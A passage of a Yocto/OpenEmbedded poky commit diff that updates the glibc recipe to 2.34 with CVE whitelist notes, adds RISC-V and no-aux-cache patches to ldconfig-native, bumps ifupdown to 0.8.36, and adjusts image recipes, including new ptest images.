- file://0017-Remove-bash-dependency-for-nscd-init-script.patch \
- file://0018-eglibc-Cross-building-and-testing-instructions.patch \
- file://0019-eglibc-Help-bootstrap-cross-toolchain.patch \
- file://0020-eglibc-Resolve-__fpscr_values-on-SH4.patch \
- file://0021-eglibc-Forward-port-cross-locale-generation-support.patch \
- file://0022-Define-DUMMY_LOCALE_T-if-not-defined.patch \
- file://0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
- file://0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch \
- file://0025-intl-Emit-no-lines-in-bison-generated-files.patch \
- file://0026-inject-file-assembly-directives.patch \
- file://0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch \
- file://0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch \
- file://0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch \
- file://0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch \
- "
-S = "${WORKDIR}/git"
-B = "${WORKDIR}/build-${TARGET_SYS}"
-
-PACKAGES_DYNAMIC = ""
-
-# the -isystem in bitbake.conf screws up glibc do_stage
-BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
-TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir}"
-
-GLIBC_BROKEN_LOCALES = ""
-
-GLIBCPIE ??= ""
-
-EXTRA_OECONF = "--enable-kernel=${OLDEST_KERNEL} \
- --disable-profile \
- --disable-debug --without-gd \
- --enable-clocale=gnu \
- --with-headers=${STAGING_INCDIR} \
- --without-selinux \
- --enable-tunables \
- --enable-bind-now \
- --enable-stack-protector=strong \
- --enable-stackguard-randomization \
- --disable-crypt \
- --with-default-link \
- ${@bb.utils.contains_any('SELECTED_OPTIMIZATION', '-O0 -Og', '--disable-werror', '', d)} \
- ${GLIBCPIE} \
- ${GLIBC_EXTRA_OECONF}"
-
-EXTRA_OECONF += "${@get_libc_fpu_setting(bb, d)}"
-
-PACKAGECONFIG ??= "nscd"
-PACKAGECONFIG[nscd] = "--enable-nscd,--disable-nscd"
-
-do_patch_append() {
- bb.build.exec_func('do_fix_readlib_c', d)
-}
-
-do_fix_readlib_c () {
- sed -i -e 's#OECORE_KNOWN_INTERPRETER_NAMES#${EGLIBC_KNOWN_INTERPRETER_NAMES}#' ${S}/elf/readlib.c
-}
-
-do_configure () {
-# override this function to avoid the autoconf/automake/aclocal/autoheader
-# calls for now
-# don't pass CPPFLAGS into configure, since it upsets the kernel-headers
-# version check and doesn't really help with anything
- (cd ${S} && gnu-configize) || die "failure in running gnu-configize"
- find ${S} -name "configure" | xargs touch
- CPPFLAGS="" oe_runconf
-}
-
-LDFLAGS += "-fuse-ld=bfd"
-do_compile () {
- base_do_compile
- echo "Adjust ldd script"
- if [ -n "${RTLDLIST}" ]
- then
- prevrtld=`cat ${B}/elf/ldd | grep "^RTLDLIST=" | sed 's#^RTLDLIST="\?\([^"]*\)"\?$#\1#'`
- # remove duplicate entries
- newrtld=`echo $(printf '%s\n' ${prevrtld} ${RTLDLIST} | LC_ALL=C sort -u)`
- echo "ldd \"${prevrtld} ${RTLDLIST}\" -> \"${newrtld}\""
- sed -i ${B}/elf/ldd -e "s#^RTLDLIST=.*\$#RTLDLIST=\"${newrtld}\"#"
- fi
-}
-
-require glibc-package.inc
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-core/glibc/glibc_2.34.bb b/meta/recipes-core/glibc/glibc_2.34.bb
new file mode 100644
index 0000000000..27a5d5fa2b
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc_2.34.bb
@@ -0,0 +1,128 @@
+require glibc.inc
+require glibc-version.inc
+
+CVE_CHECK_WHITELIST += "CVE-2020-10029 CVE-2021-27645"
+
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010022
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010023
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010024
+# Upstream glibc maintainers dispute there is any issue and have no plans to address it further.
+# "this is being treated as a non-security bug and no real threat."
+CVE_CHECK_WHITELIST += "CVE-2019-1010022 CVE-2019-1010023 CVE-2019-1010024"
+
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010025
+# Allows for ASLR bypass so can bypass some hardening, not an exploit in itself, may allow
+# easier access for another. "ASLR bypass itself is not a vulnerability."
+# Potential patch at https://sourceware.org/bugzilla/show_bug.cgi?id=22853
+CVE_CHECK_WHITELIST += "CVE-2019-1010025"
+
+DEPENDS += "gperf-native bison-native make-native"
+
+NATIVESDKFIXES ?= ""
+NATIVESDKFIXES:class-nativesdk = "\
+ file://0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch \
+ file://0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch \
+ file://0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch \
+ file://0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch \
+ file://0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch \
+ file://0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch \
+"
+
+SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
+ file://etc/ld.so.conf \
+ file://generate-supported.mk \
+ file://makedbs.sh \
+ \
+ ${NATIVESDKFIXES} \
+ file://0015-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch \
+ file://0016-yes-within-the-path-sets-wrong-config-variables.patch \
+ file://0018-Remove-bash-dependency-for-nscd-init-script.patch \
+ file://0019-eglibc-Cross-building-and-testing-instructions.patch \
+ file://0020-eglibc-Help-bootstrap-cross-toolchain.patch \
+ file://0021-eglibc-Resolve-__fpscr_values-on-SH4.patch \
+ file://0022-eglibc-Forward-port-cross-locale-generation-support.patch \
+ file://0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
+ file://0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch \
+ file://0026-intl-Emit-no-lines-in-bison-generated-files.patch \
+ file://0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch \
+ file://0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch \
+ file://0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch \
+ file://0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch \
+ file://0001-CVE-2021-38604.patch \
+ file://0002-CVE-2021-38604.patch \
+ file://0001-fix-create-thread-failed-in-unprivileged-process-BZ-.patch \
+ file://CVE-2021-43396.patch \
+ file://0001-Make-shell-interpreter-overridable-in-tzselect.ksh.patch \
+ "
+S = "${WORKDIR}/git"
+B = "${WORKDIR}/build-${TARGET_SYS}"
+
+PACKAGES_DYNAMIC = ""
+
+# the -isystem in bitbake.conf screws up glibc do_stage
+BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
+TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir}"
+
+GLIBC_BROKEN_LOCALES = ""
+
+GLIBCPIE ??= ""
+
+EXTRA_OECONF = "--enable-kernel=${OLDEST_KERNEL} \
+ --disable-profile \
+ --disable-debug --without-gd \
+ --enable-clocale=gnu \
+ --with-headers=${STAGING_INCDIR} \
+ --without-selinux \
+ --enable-tunables \
+ --enable-bind-now \
+ --enable-stack-protector=strong \
+ --disable-crypt \
+ --with-default-link \
+ ${@bb.utils.contains_any('SELECTED_OPTIMIZATION', '-O0 -Og', '--disable-werror', '', d)} \
+ ${GLIBCPIE} \
+ ${GLIBC_EXTRA_OECONF}"
+
+EXTRA_OECONF += "${@get_libc_fpu_setting(bb, d)}"
+
+EXTRA_OECONF:append:x86 = " ${@bb.utils.contains_any('TUNE_FEATURES', 'i586 c3', '--disable-cet', '--enable-cet', d)}"
+EXTRA_OECONF:append:x86-64 = " --enable-cet"
+
+PACKAGECONFIG ??= "nscd memory-tagging"
+PACKAGECONFIG[nscd] = "--enable-nscd,--disable-nscd"
+PACKAGECONFIG[memory-tagging] = "--enable-memory-tagging,--disable-memory-tagging"
+
+do_patch:append() {
+ bb.build.exec_func('do_fix_readlib_c', d)
+}
+
+do_fix_readlib_c () {
+ sed -i -e 's#OECORE_KNOWN_INTERPRETER_NAMES#${EGLIBC_KNOWN_INTERPRETER_NAMES}#' ${S}/elf/readlib.c
+}
+
+do_configure () {
+# override this function to avoid the autoconf/automake/aclocal/autoheader
+# calls for now
+# don't pass CPPFLAGS into configure, since it upsets the kernel-headers
+# version check and doesn't really help with anything
+ (cd ${S} && gnu-configize) || die "failure in running gnu-configize"
+ find ${S} -name "configure" | xargs touch
+ CPPFLAGS="" oe_runconf
+}
+
+LDFLAGS += "-fuse-ld=bfd"
+do_compile () {
+ base_do_compile
+ echo "Adjust ldd script"
+ if [ -n "${RTLDLIST}" ]
+ then
+ prevrtld=`cat ${B}/elf/ldd | grep "^RTLDLIST=" | sed 's#^RTLDLIST="\?\([^"]*\)"\?$#\1#'`
+ # remove duplicate entries
+ newrtld=`echo $(printf '%s\n' ${prevrtld} ${RTLDLIST} | LC_ALL=C sort -u)`
+ echo "ldd \"${prevrtld} ${RTLDLIST}\" -> \"${newrtld}\""
+ sed -i ${B}/elf/ldd -e "s#^RTLDLIST=.*\$#RTLDLIST=\"${newrtld}\"#"
+ fi
+}
+
+require glibc-package.inc
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch
new file mode 100644
index 0000000000..fc41aee264
--- /dev/null
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch
@@ -0,0 +1,79 @@
+From fd50228cc213d2d87f5e3cf1f123acb3fda9b04e Mon Sep 17 00:00:00 2001
+From: Christoph Muellner <cmuellner@linux.com>
+Date: Mon, 28 Jun 2021 00:34:12 +0200
+Subject: [PATCH] ldconfig: Add RISC-V support
+
+ldconfig-native does not support RISC-V at the moment.
+Let's pull the reqired constants from upstream and add
+the required parsing code.
+
+Upstream-Status: Backport
+
+Signed-off-by: Christoph Muellner <cmuellner@linux.com>
+---
+ cache.c | 6 ++++++
+ ldconfig.h | 2 ++
+ readelflib.c | 10 ++++++++++
+ 3 files changed, 18 insertions(+)
+
+diff --git a/cache.c b/cache.c
+index c4f5411..a3b9e70 100644
+--- a/cache.c
++++ b/cache.c
+@@ -125,6 +125,12 @@ print_entry (const char *lib, int flag, unsigned int osversion,
+ case FLAG_AARCH64_LIB64:
+ fputs (",AArch64", stdout);
+ break;
++ case FLAG_RISCV_FLOAT_ABI_SOFT:
++ fputs (",soft-float", stdout);
++ break;
++ case FLAG_RISCV_FLOAT_ABI_DOUBLE:
++ fputs (",double-float", stdout);
++ break;
+ case 0:
+ break;
+ default:
+diff --git a/ldconfig.h b/ldconfig.h
+index 6a8a750..2e5e379 100644
+--- a/ldconfig.h
++++ b/ldconfig.h
+@@ -38,6 +38,8 @@
+ #define FLAG_ARM_LIBHF 0x0900
+ #define FLAG_AARCH64_LIB64 0x0a00
+ #define FLAG_ARM_LIBSF 0x0b00
++#define FLAG_RISCV_FLOAT_ABI_SOFT 0x0f00
++#define FLAG_RISCV_FLOAT_ABI_DOUBLE 0x1000
+
+ /* Name of auxiliary cache. */
+ #define _PATH_LDCONFIG_AUX_CACHE "/var/cache/ldconfig/aux-cache"
+diff --git a/readelflib.c b/readelflib.c
+index 9ec0a54..a01e1ce 100644
+--- a/readelflib.c
++++ b/readelflib.c
+@@ -33,6 +33,10 @@
+ #define EM_AARCH64 183 /* ARM AARCH64 */
+ #endif
+
++#ifndef EM_RISCV
++#define EM_RISCV 243 /* RISC-V */
++#endif
++
+ #undef check_ptr
+ #define check_ptr(ptr) \
+ do \
+@@ -331,6 +335,12 @@ process_elf_file64 (const char *file_name, const char *lib, int *flag,
+ /* see sysdeps/unix/sysv/linux/arm/readelflib.c */
+ *flag |= FLAG_AARCH64_LIB64|FLAG_ELF_LIBC6;
+ break;
++ case EM_RISCV:
++ /* RISC-V libraries are always libc.so.6+. */
++ /* NOTE: This does not correctly handle soft-float binaries */
++ /* see sysdeps/unix/sysv/linux/riscv/readelflib.c */
++ *flag |= FLAG_RISCV_FLOAT_ABI_DOUBLE|FLAG_ELF_LIBC6;
++ break;
+ default:
+ error(0, 0, "%s is a 64-bit ELF for unknown machine %lx\n",
+ file_name, (long)elf_header->e_machine);
+--
+2.25.1
+
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
index 52986e61c7..d1835c7a10 100644
--- a/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
@@ -400,7 +400,7 @@ Index: ldconfig-native-2.12.1/ldconfig.c
return 0;
}
-+#define REPORT_BUGS_TO "mailing list : poky@yoctoproject.org"
++#define REPORT_BUGS_TO "mailing list : poky@lists.yoctoproject.org"
/* Print bug-reporting information in the help message. */
static char *
more_help (int key, const char *text, void *input)
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch
new file mode 100644
index 0000000000..c6765ba00d
--- /dev/null
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch
@@ -0,0 +1,19 @@
+The ldconfig auxiliary cache is a dictionary where the keys include inode, so
+there is no point in writing these files on the build host.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/ldconfig.c b/ldconfig.c
+index 2c4eb57..2d6dc92 100644
+--- a/ldconfig.c
++++ b/ldconfig.c
+@@ -1399,8 +1399,6 @@ main (int argc, char **argv)
+ if (opt_build_cache)
+ {
+ save_cache (cache_file);
+- if (aux_cache_file)
+- save_aux_cache (aux_cache_file);
+ }
+
+ return 0;
diff --git a/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb b/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
index 93c0b18671..fd1630b73b 100644
--- a/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
+++ b/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
@@ -14,6 +14,8 @@ SRC_URI = "file://ldconfig-native-2.12.1.tar.bz2 \
file://ldconfig-default-to-all-multilib-dirs.patch \
file://endian-ness_handling_fix.patch \
file://add-64-bit-flag-for-ELF64-entries.patch \
+ file://no-aux-cache.patch \
+ file://add-riscv-support.patch \
"
PR = "r2"
diff --git a/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch b/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch
new file mode 100644
index 0000000000..c751e4fab0
--- /dev/null
+++ b/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch
@@ -0,0 +1,32 @@
+From 98243deface88614e3f332c4a85d04a9abce55ff Mon Sep 17 00:00:00 2001
+From: Zqiang <qiang.zhang@windriver.com>
+Date: Mon, 19 Apr 2021 14:15:45 +0800
+Subject: [PATCH] ifupdown: skip wrong test case
+
+The test parameters of testcase(12-15) file is not right,
+it triggers a test failure, these test items are invalid
+and are skipped directly.
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Zqiang <qiang.zhang@windriver.com>
+---
+ tests/testbuild-linux | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/testbuild-linux b/tests/testbuild-linux
+index 1181ea0..5f148eb 100755
+--- a/tests/testbuild-linux
++++ b/tests/testbuild-linux
+@@ -3,7 +3,7 @@
+ dir=tests/linux
+
+ result=true
+-for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
++for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
+ if [ -e $dir/testcase.$test ]; then
+ args="$(cat $dir/testcase.$test | sed -n 's/^# RUN: //p')"
+ else
+--
+2.17.1
+
diff --git a/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch b/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch
index d7600cf243..ea88a9086a 100644
--- a/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch
+++ b/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch
@@ -3,9 +3,12 @@ Tweak tests of ifupdown to make it work with oe-core ptest framework.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+---
+ tests/testbuild-linux | 11 ++++++-----
+ 1 file changed, 6 insertions(+), 5 deletions(-)
diff --git a/tests/testbuild-linux b/tests/testbuild-linux
-index 1181ea0..d5c1814 100755
+index 5f148eb..d9b1698 100755
--- a/tests/testbuild-linux
+++ b/tests/testbuild-linux
@@ -1,6 +1,7 @@
@@ -16,8 +19,8 @@ index 1181ea0..d5c1814 100755
+dir=$curdir/linux
result=true
- for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
-@@ -12,7 +13,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
+ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
+@@ -12,7 +13,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
echo "Testcase $test: $args"
exitcode=0
@@ -26,7 +29,7 @@ index 1181ea0..d5c1814 100755
>$dir/up-res-out.$test 2>$dir/up-res-err.$test || exitcode=$?
(echo "exit code: $exitcode";
-@@ -20,7 +21,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
+@@ -20,7 +21,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
echo "====stderr===="; cat $dir/up-res-err.$test) > $dir/up-res.$test
exitcode=0
@@ -35,7 +38,7 @@ index 1181ea0..d5c1814 100755
>$dir/down-res-out.$test 2>$dir/down-res-err.$test || exitcode=$?
(echo "exit code: $exitcode";
-@@ -28,9 +29,9 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
+@@ -28,9 +29,9 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
echo "====stderr===="; cat $dir/down-res-err.$test) > $dir/down-res.$test
if diff -ub $dir/up.$test $dir/up-res.$test && diff -ub $dir/down.$test $dir/down-res.$test; then
@@ -47,3 +50,5 @@ index 1181ea0..d5c1814 100755
result=false
fi
echo "=========="
+--
+2.17.1
diff --git a/meta/recipes-core/ifupdown/ifupdown_0.8.35.bb b/meta/recipes-core/ifupdown/ifupdown_0.8.35.bb
deleted file mode 100644
index 53cb971d33..0000000000
--- a/meta/recipes-core/ifupdown/ifupdown_0.8.35.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "ifupdown: basic ifup and ifdown used by initscripts"
-DESCRIPTION = "High level tools to configure network interfaces \
-This package provides the tools ifup and ifdown which may be used to \
-configure (or, respectively, deconfigure) network interfaces, based on \
-the file /etc/network/interfaces."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-SRC_URI = "git://salsa.debian.org/debian/ifupdown.git;protocol=https \
- file://defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch \
- file://99_network \
- file://0001-Define-FNM_EXTMATCH-for-musl.patch \
- file://0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch \
- file://run-ptest \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'file://tweak-ptest-script.patch', '', d)} \
- "
-SRCREV = "4af76318cfc57f8e4a44d357104188666213bd4b"
-
-S = "${WORKDIR}/git"
-
-
-inherit ptest update-alternatives
-
-do_compile () {
- chmod a+rx *.pl *.sh
- oe_runmake 'CC=${CC}' "CFLAGS=${CFLAGS} -Wall -W -D'IFUPDOWN_VERSION=\"${PV}\"'"
-}
-
-do_install () {
- install -d ${D}${mandir}/man8 \
- ${D}${mandir}/man5 \
- ${D}${base_sbindir}
-
- # If volatiles are used, then we'll also need /run/network there too.
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_network ${D}/etc/default/volatiles
-
- install -m 0755 ifup ${D}${base_sbindir}/
- ln ${D}${base_sbindir}/ifup ${D}${base_sbindir}/ifdown
- install -m 0644 ifup.8 ${D}${mandir}/man8
- install -m 0644 interfaces.5 ${D}${mandir}/man5
- cd ${D}${mandir}/man8 && ln -s ifup.8 ifdown.8
-}
-
-do_install_ptest () {
- install -d ${D}${PTEST_PATH}/tests
- cp -r ${S}/tests/testbuild-linux ${D}${PTEST_PATH}/tests/
- cp -r ${S}/tests/linux ${D}${PTEST_PATH}/tests/
-}
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "ifup ifdown"
-
-ALTERNATIVE_LINK_NAME[ifup] = "${base_sbindir}/ifup"
-ALTERNATIVE_LINK_NAME[ifdown] = "${base_sbindir}/ifdown"
diff --git a/meta/recipes-core/ifupdown/ifupdown_0.8.36.bb b/meta/recipes-core/ifupdown/ifupdown_0.8.36.bb
new file mode 100644
index 0000000000..48a7b8fb13
--- /dev/null
+++ b/meta/recipes-core/ifupdown/ifupdown_0.8.36.bb
@@ -0,0 +1,57 @@
+SUMMARY = "ifupdown: basic ifup and ifdown used by initscripts"
+HOMEPAGE = "https://salsa.debian.org/debian/ifupdown"
+DESCRIPTION = "High level tools to configure network interfaces \
+This package provides the tools ifup and ifdown which may be used to \
+configure (or, respectively, deconfigure) network interfaces, based on \
+the file /etc/network/interfaces."
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+SRC_URI = "git://salsa.debian.org/debian/ifupdown.git;protocol=https;branch=master \
+ file://defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch \
+ file://99_network \
+ file://0001-Define-FNM_EXTMATCH-for-musl.patch \
+ file://0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch \
+ file://run-ptest \
+ file://0001-ifupdown-skip-wrong-test-case.patch \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'file://tweak-ptest-script.patch', '', d)} \
+ "
+SRCREV = "c73226073e2b13970ca613b20a13b9c0253bf9da"
+
+S = "${WORKDIR}/git"
+
+
+inherit ptest update-alternatives
+
+do_compile () {
+ chmod a+rx *.pl *.sh
+ oe_runmake 'CC=${CC}' "CFLAGS=${CFLAGS} -Wall -W -D'IFUPDOWN_VERSION=\"${PV}\"'"
+}
+
+do_install () {
+ install -d ${D}${mandir}/man8 \
+ ${D}${mandir}/man5 \
+ ${D}${base_sbindir}
+
+ # If volatiles are used, then we'll also need /run/network there too.
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_network ${D}/etc/default/volatiles
+
+ install -m 0755 ifup ${D}${base_sbindir}/
+ ln ${D}${base_sbindir}/ifup ${D}${base_sbindir}/ifdown
+ install -m 0644 ifup.8 ${D}${mandir}/man8
+ install -m 0644 interfaces.5 ${D}${mandir}/man5
+ cd ${D}${mandir}/man8 && ln -s ifup.8 ifdown.8
+}
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -r ${S}/tests/testbuild-linux ${D}${PTEST_PATH}/tests/
+ cp -r ${S}/tests/linux ${D}${PTEST_PATH}/tests/
+}
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "ifup ifdown"
+
+ALTERNATIVE_LINK_NAME[ifup] = "${base_sbindir}/ifup"
+ALTERNATIVE_LINK_NAME[ifdown] = "${base_sbindir}/ifdown"
diff --git a/meta/recipes-core/images/build-appliance-image_15.0.0.bb b/meta/recipes-core/images/build-appliance-image_15.0.0.bb
index 8390b8389d..ce72a944e7 100644
--- a/meta/recipes-core/images/build-appliance-image_15.0.0.bb
+++ b/meta/recipes-core/images/build-appliance-image_15.0.0.bb
@@ -20,12 +20,12 @@ IMAGE_ROOTFS_EXTRA_SPACE = "41943040"
APPEND += "rootfstype=ext4 quiet"
DEPENDS = "zip-native python3-pip-native"
-IMAGE_FSTYPES = "wic.vmdk"
+IMAGE_FSTYPES = "wic.vmdk wic.vhd wic.vhdx"
-inherit core-image module-base setuptools3
+inherit core-image setuptools3
-SRCREV ?= "1dfd37d30953208fd998cef79483f371330a754e"
-SRC_URI = "git://git.yoctoproject.org/poky \
+SRCREV ?= "7c856fbca3fa2aa3b99aecbe9b056609a011c9c1"
+SRC_URI = "git://git.yoctoproject.org/poky;branch=master \
file://Yocto_Build_Appliance.vmx \
file://Yocto_Build_Appliance.vmxf \
file://README_VirtualBox_Guest_Additions.txt \
@@ -34,7 +34,7 @@ SRC_URI = "git://git.yoctoproject.org/poky \
RECIPE_NO_UPDATE_REASON = "Recipe is recursive and handled as part of the release process"
BA_INCLUDE_SOURCES ??= "0"
-IMAGE_CMD_ext4_append () {
+IMAGE_CMD:ext4:append () {
# We don't need to reserve much space for root, 0.5% is more than enough
tune2fs -m 0.5 ${IMGDEPLOYDIR}/${IMAGE_NAME}.rootfs.ext4
}
@@ -61,12 +61,6 @@ fakeroot do_populate_poky_src () {
# Place the README_VirtualBox_Toaster file in builders home folder.
cp ${WORKDIR}/README_VirtualBox_Toaster.txt ${IMAGE_ROOTFS}/home/builder/
- # Create a symlink, needed for out-of-tree kernel modules build
- if [ ! -e ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build ]; then
- rm -f ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build
- lnr ${IMAGE_ROOTFS}${KERNEL_SRC_PATH} ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build
- fi
-
echo "INHERIT += \"rm_work\"" >> ${IMAGE_ROOTFS}/home/builder/poky/build/conf/auto.conf
echo "export LC_ALL=en_US.utf8" >> ${IMAGE_ROOTFS}/home/builder/.bashrc
@@ -93,7 +87,7 @@ fakeroot do_populate_poky_src () {
# Load tap/tun at startup
rm -f ${IMAGE_ROOTFS}/sbin/iptables
- lnr ${IMAGE_ROOTFS}/usr/sbin/iptables ${IMAGE_ROOTFS}/sbin/iptables
+ ln -rs ${IMAGE_ROOTFS}/usr/sbin/iptables ${IMAGE_ROOTFS}/sbin/iptables
echo "tun" >> ${IMAGE_ROOTFS}/etc/modules
# Use Clearlooks GTK+ theme
@@ -129,6 +123,8 @@ create_bundle_files () {
mkdir -p Yocto_Build_Appliance
cp *.vmx* Yocto_Build_Appliance
ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.wic.vmdk Yocto_Build_Appliance/Yocto_Build_Appliance.vmdk
+ ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.wic.vhdx Yocto_Build_Appliance/Yocto_Build_Appliance.vhdx
+ ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.wic.vhd Yocto_Build_Appliance/Yocto_Build_Appliance.vhd
zip -r ${IMGDEPLOYDIR}/Yocto_Build_Appliance-${DATETIME}.zip Yocto_Build_Appliance
ln -sf Yocto_Build_Appliance-${DATETIME}.zip ${IMGDEPLOYDIR}/Yocto_Build_Appliance.zip
}
diff --git a/meta/recipes-core/images/core-image-minimal.bb b/meta/recipes-core/images/core-image-minimal.bb
index 19f27f8395..84343adcd8 100644
--- a/meta/recipes-core/images/core-image-minimal.bb
+++ b/meta/recipes-core/images/core-image-minimal.bb
@@ -9,4 +9,4 @@ LICENSE = "MIT"
inherit core-image
IMAGE_ROOTFS_SIZE ?= "8192"
-IMAGE_ROOTFS_EXTRA_SPACE_append = "${@bb.utils.contains("DISTRO_FEATURES", "systemd", " + 4096", "", d)}"
+IMAGE_ROOTFS_EXTRA_SPACE:append = "${@bb.utils.contains("DISTRO_FEATURES", "systemd", " + 4096", "", d)}"
diff --git a/meta/recipes-core/images/core-image-ptest-all.bb b/meta/recipes-core/images/core-image-ptest-all.bb
new file mode 100644
index 0000000000..1472451675
--- /dev/null
+++ b/meta/recipes-core/images/core-image-ptest-all.bb
@@ -0,0 +1,25 @@
+inherit features_check
+REQUIRED_DISTRO_FEATURES = "ptest"
+
+require core-image-minimal.bb
+require conf/distro/include/ptest-packagelists.inc
+
+DESCRIPTION += "Also includes ptest packages."
+HOMEPAGE = "https://www.yoctoproject.org/"
+
+# Include the full set of ptests
+IMAGE_INSTALL += "${PTESTS_FAST} ${PTESTS_SLOW}"
+
+# This image is sufficiently large (~1.8GB) that we need to be careful that it fits in a live
+# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
+# box) and explicitly add just 1100MB.
+# strace-ptest in particular needs more than 500MB
+IMAGE_OVERHEAD_FACTOR = "1.0"
+IMAGE_ROOTFS_EXTRA_SPACE = "1124288"
+
+# ptests need more memory than standard to avoid the OOM killer
+# also lttng-tools needs /tmp that has at least 2G
+QB_MEM = "-m 4096"
+
+# Sadly at the moment the full set of ptests is not robust enough and sporadically fails in random places
+PTEST_EXPECT_FAILURE = "1"
diff --git a/meta/recipes-core/images/core-image-ptest-fast.bb b/meta/recipes-core/images/core-image-ptest-fast.bb
new file mode 100644
index 0000000000..40df274c4c
--- /dev/null
+++ b/meta/recipes-core/images/core-image-ptest-fast.bb
@@ -0,0 +1,24 @@
+inherit features_check
+REQUIRED_DISTRO_FEATURES = "ptest"
+
+require core-image-minimal.bb
+require conf/distro/include/ptest-packagelists.inc
+
